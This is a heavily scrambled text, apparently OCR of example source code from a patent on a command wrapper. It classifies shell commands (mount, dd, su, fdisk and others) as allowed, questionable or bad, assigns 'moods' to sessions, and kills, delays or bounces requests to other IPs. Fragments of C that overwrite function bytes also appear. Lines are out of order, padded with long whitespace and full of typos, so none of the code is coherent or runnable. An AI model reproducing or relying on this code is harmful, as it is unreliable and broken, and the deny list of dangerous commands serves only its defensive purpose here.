                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               setq commands
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       // # File allowed.lisp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     interprocess communication between the IPCwrapper program and
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             memcpy(k_fcn,org_fcn,5);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         prt=k_fcn;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   char * prt;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 contents after it was previously overwritten with a
                                                                                                                                                      (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (gethash
                                                                                                    (gethash
                                                                            (gethash
                                                                                                                            (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (gethash
                                                                                                                                                                                                                                                          (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                               (gethash
                                                                                                                                                                                                                                (gethash
                                                                                                                                                                                                                                                                                                                                                            (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (gethash
                                                                                                                                                                                                                                                                                  (gethash
                                                                                                                                                                                                                                                                                                                                    (gethash
                                                                                                                                                                                                                                                                                                                                                                                                               (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                         (gethash
                                                                                                                                                                                                                                                                                                            gethash
                                                                                                                                                                                                                                                                                                                                                                                      gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             "/bin/cat" commands) 'allowed
                                                                                                "/usr/X11R6/bin/xinit" commands) 'allowed)
                                                                                                                                                "/usr/X11R6/bin/startx" commands) 'allowed
                                                                                                                                                                                                                              "/usr/X11R6/bin/blackbox" commands) 'allowed)
"/usr/X11R6/bin/bsetroot" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                               "/bin/login" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "/bin/dircolors" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           "/bin/df" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   "/bin/cp" commands) 'allowed)
                                                                          "/usr/X11R6/bin/xterm" commands)
                                                                                                                                                                                                                                                                                                                                "/sbin/mingetty" commands) 'allowed
                                                                                                                                                                                                                                                                                                                                                            "/bin/tput" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     "/bin/bash" commands) 'allowed
                        "/usr/bin/basename" commands) 'allowed)
                                                                                                                                                                                                        "/usr/X11R6/bin/mozilla/run-mozilla.sh" commands)
                                                                                                                                                                                                                                                                                "/usr/X11R6/bin/X" commands) 'allowed)
                                                                                                                                                                                                                                                                                                          "/sbin/modprobe" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                      "/bin/sh" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                               "/bin/rm" commands)
                                                                                                                                                                                                                                                                                                                                                                                                                                     "/bin/ps" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "/bin/id" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         "/bin/grep" commands) 'allowed)
                                                  "/usr/X11R6/lib/X11/xkb/xkbcomp" commands)
                                                                                                                            "/usr/X11R6/bin/xauth" commands) 'allowed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "/bin/hostname" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (make-hash-table :test 'equal)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          to execute.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        This example source code further includes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               //restore binary contents
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      This example further can provide
commands)
                                                                                                                                                                                                                                                                                                                                                                                                               'allowed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                In this case, a wrapper
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   dur.
                                                  allowed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     good users.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (setf
                                                                                                                                                                                                                                (setf
                                                                                                                                                                                                                                                      (setf
                                                                                                                                                                                                                                                                                (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 nistory)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (Sample
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (sett
                                                (defun do-output (id &aux struct)
                                                                                                setq *resp-mode* 0)
                                                                                                                            10.0.0.58* *10.0.30.2*)))
                                                                                                                                                                                                                                                                                                          setf
                                                                                                                                                                                                                                                                                                                                  sett
                                                                                                                                                                                                                                                                                                                                                                                  (setf (gethash "/bin/rm" commands)
                                                                                                                                                                                                                                                                                                                                                                                                                                                               setq
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     setq *responsetable*
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 qinit)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             code for this option is not included herein code for this option is not included hereing.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          use-package "QLISP")
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     / # File brain.lisp
                                                                                                                                                                              setq
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     defstruct response command
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           MODES
                                                                                                                                                                                                                                                                                                                                                                                                                                       Load
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   1 == Obnoxious.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MOODS
                                                                                                                                                                                                                                                                                                                                                            initialize bad commands
                                                                                                                                                                                                                                                                                                                                                                                                             initialize questionable commands
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           0 == Normal.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        -1 == :0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            -2 == :
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        -3 == >: ( Angry: Do mean things.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Type > 0 && type < 256 : sleep and check again
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Type = 0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Type < 0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Type < -256 && type < 0 : bounce
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  NOTES
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Type > 256
                      (setq struct (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                     "allowed.lisp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                               *no-bounce-ips*
                                                                                                                                                                          *bounce-ips* (make-array
                                                                                                                                                                                                                                                    (gethash "/bin/mount" commands) 'bad)
                                                                                                                                                                                                                                                                                (gethash "/bin/mknod" commands) 'bad)
                                                                                                                                                                                                                                                                                                        (gethash "/bin/ln" commands) 'bad)
                                                                                                                                                                                                                                                                                                                                  (gethash "/bin/dd" commands) 'bad
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (gethash "/usr/local/bin/which" commands) 'allowed'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (gethash "/usr/local/bin/me" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (gethash "/usr/bin/tail" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (gethash "/usr/bin/sort" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (gethash "/usr/bin/dirname" commands) 'allowed)
                                                                                                                                                                                                    (gethash "/usr/bin/su" commands) 'bad)
                                                                                                                                                                                                                              (gethash "/sbin/fdisk" commands)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Scared:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Cautious: Deny only questionable commands
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      : fail and print this error string
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                : execute the command
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "/usr/bin/stty" commands) 'allowed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         "/usr/bin/mcookie" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            : do this thing
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   "/usr/bin/find" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           "/usr/bin/du" commands) 'allowed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Stop requests at the wrapper, preventing floods
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (make-hash-table)
                      id *responsetable*))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     type mood
                                                                                                                                                                          *no-bounce-ips*
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              to some other system
                                                                                                                                                                                                                                                                                                                                                                                  'questionable)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     command-history response-
                                                                                                                                                                                                                              'bad'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           Defalut setting
                                                                                                                                                                            :initial-contents
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             for
```

```
command id))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       command-history
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              struct)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ; (defun brain-demo
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              command struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                               struct))))
                                                                                                                                                                                       responsetype command)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (decide-mood
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (defun save-response (command id)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (response-type struct)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (defun handler ()
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (response-response-history
                                                                                                                                                                                                                                                                                        defun generate-response-string (command responsetype)
                                                                                                                                                                                                                                                                                                                   (prog (struct mood responsetype t-c-hist t-r-hist)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (qsnd (response-type struct) (generate-response-string (response-
                                                                                                                                                                                                                                                              (prog ()
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (prog (data-in id command)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (setq command (cdr-string data-in))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (setq id (intern (car-string data-in)))
                                                                                                                                                                                                                                         (cond ((>= -256 responsetype)
                                                                                                                                                                                                                                                                                                                                                                                                           (add-response id command responsetype mood t-c-hist t-r-hist)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (if (null struct) (progn (add-response id)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (setq struct (gethash id *responsetable*))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (save-response command id)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (setq data-in (qget))
                                                                                                                                                                                                            ((> 0 responsetype -256)
                                                                                       ((>= responsetype 256)
                                                                                                              (= 255 responsetype)
                                                                                                                                     (< 0 responsetype 255)
                                                                                                                                                                  (= 0 responsetype)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              command id)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (setq mood
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (progn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       struct)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (setq t-c-hist (build-history command
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (setq t-r-hist (list responsetype)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (setq t-c-hist (list command))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (setq responsetype (set-response-type command mood))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (setq mood (decide-mood command id))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (setq t-r-hist (build-history responsetype
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (setq responsetype (set-response-type command mood))
                                                                      (return (failure-for-errno -1 command)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (if (> (response-mood struct) (decide-mood
                                                                                                                                                                    (return *run*))
                                                                                                                                         (return "wait"))
                                                                                                                                                                                                                    (return (failure-for-errno
                                                                                           (return "do something"))
                                                                                                                      (return "kill"))
                                                                                                                                                                                                                                         (return (get-ip responsetype)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (setq mood (response-mood
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (response-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           commandh :response-history responseh))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          mood :command-history
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               responseh)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (defun build-history (command buff)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (defun add-response (id &optional command type mood commandh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (defun set-response-type (command mood)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (defun decide-mood (command id)
                                               (defun is-command
                                                                        (let
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (prog (struct)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (append buff (list command))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (if (equal 9 (length buff)) (setq buff (cdr buff)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (prog (q r)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (prog (quest allow)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (setq q (is-command
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (setf (gethash id *responsetable*) struct)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (setq allow (is-command 'allowed command))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (return 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (if (and q r) (return -2))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (if (is-command 'bad command)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (setq r (is-trouble id))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (setq struct (make-response :command command :type type
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (setq bad (is-command 'bad command))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (setq quest (is-command 'questionable command))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (return struct)
                     ((realtype
                                                                                                                                                                                                                                                                                                                                          ((= *resp-mode* 1)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (cond ((and (= mood 0) allow)
                                                                                                                                                                                                                                                                                                               (cond ((and (= mood 0) allow)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ((= *resp-mode* 0)
                                                                                                                                                                                                                                                                 (and
                                                                                                                                                                                                                                                                                                                                                                                                                                          ((and (=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (and
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ((and (= mood 0)
                                                                                                                                                                                           (bad
                                                                                                                                                                                                                                           ((and (=
                                                                                                                                                                                                                                                                                        ((and (= mood 0)
                                                                                                                                                                                                                                                                                                                                                                                                                 (= mood -3)
                                                                                                                                                                                                                    (= mood
type)
                                                                                                                                                                                                                                                                                                                                                                                                                                                               (= mood -2) quest)
                                                                                                                                                                                                                                                                 (= mood -2) quest)
                                             (type command)
                     (gethash command
                                                                                                                                                                                                                                         mood -2) allow)
                                                                                                                                                                                                                                                                                                                                                                                                                                      mood -2) allow)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  'questionable command))
                                                                                                                                                                                                                                                                                                                                                                                    (return (rand-resp 'nice)))
                                                                                                                                                                                         (return (rand-resp 'mean)))
                                                                                                                                                                                                                                                                                      (not allow)) (return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (not allow)) (return
                                                                                                                                                                                                                                                                                                                                                                                                                   (return
                                                                                                                                                                                                                    (return
                      commands))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (return -3))
                                                                                                                                                                                                                                                                                                                                                                                                                                      (return
                                                                                                                                                                                                                                                                                                                                                                                                                                                           (return (rand-resp
                                                                                                                                                                                                                                         (return
                                                                                                                                                                                                                                                                (return (rand-resp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (return
                                                                                                                                                                                                                                                                                                               (return
                                                                                                                                                                                                                                                                                                                                                                                                                   -258))
                                                                                                                                                                                                                    -256))
                                                                                                                                                                                                                                           0)
                                                                                                                                                                                                                                                                                                                 9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  'nice)))
                                                                                                                                                                                                                                                                'mean)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   :mood
```

```
what's been responded
                                                                                              IJ.
                                                                                                                                                                                                                                                                                       generated for
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        (internal book-keeping)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       trouble-count)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (defun get-ip
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (defun set-mode (new_mode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                           defun dump-response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (defun calc-ip-index (response)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             defun is-trouble
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (prog ()
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (prog ()
                                                                                                                                                                                                                                                                                                                                                                                                                                    (prog ()
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        (prog (history hsize count element
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (setq *resp-mode* new_mode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             again
                                                                                                                                                                                                           (princ "Response: ")
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (return (- (abs (+ response 255)) 1))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (if (>= trouble-count 4) (return t)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (if (is-command 'questionable element) (setq trouble-count
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (setq
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (if (null history) (return nil))
                                                                     (terpri)
                                                                                                                   (prin1 (response-mood
                                                                                                                                                                                        (prin1 (response-type
                                                                                                                                                                                                                                                                                                            (prin1 (response-command struct))
                                                                                                                                                                                                                                                                                                                                      (princ "Command: ")
                                                                                                                                                                                                                                                                                                                                                               (terpri)
                                                                                                                                                                                                                                                                                                                                                                                     (print id)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (return (aref *bounce-ips* (calc-ip-index response)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        (if (< count hsize) (go again))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (setq count (1+ count))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    setq element (aref history count))
                      prin1 (response-command-history struct))
                                             princ "Command History: ")
                                                                                                                                           princ "Mood: ")
                                                                                                                                                                    terpri)
                                                                                                                                                                                                                                           (terpri)
                                                                                                                                                                                                                                                                                                                                                                                                            setq struct (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              setq count
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    setq hsize
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   setq history (remember-history
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     trouble-count 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (response)
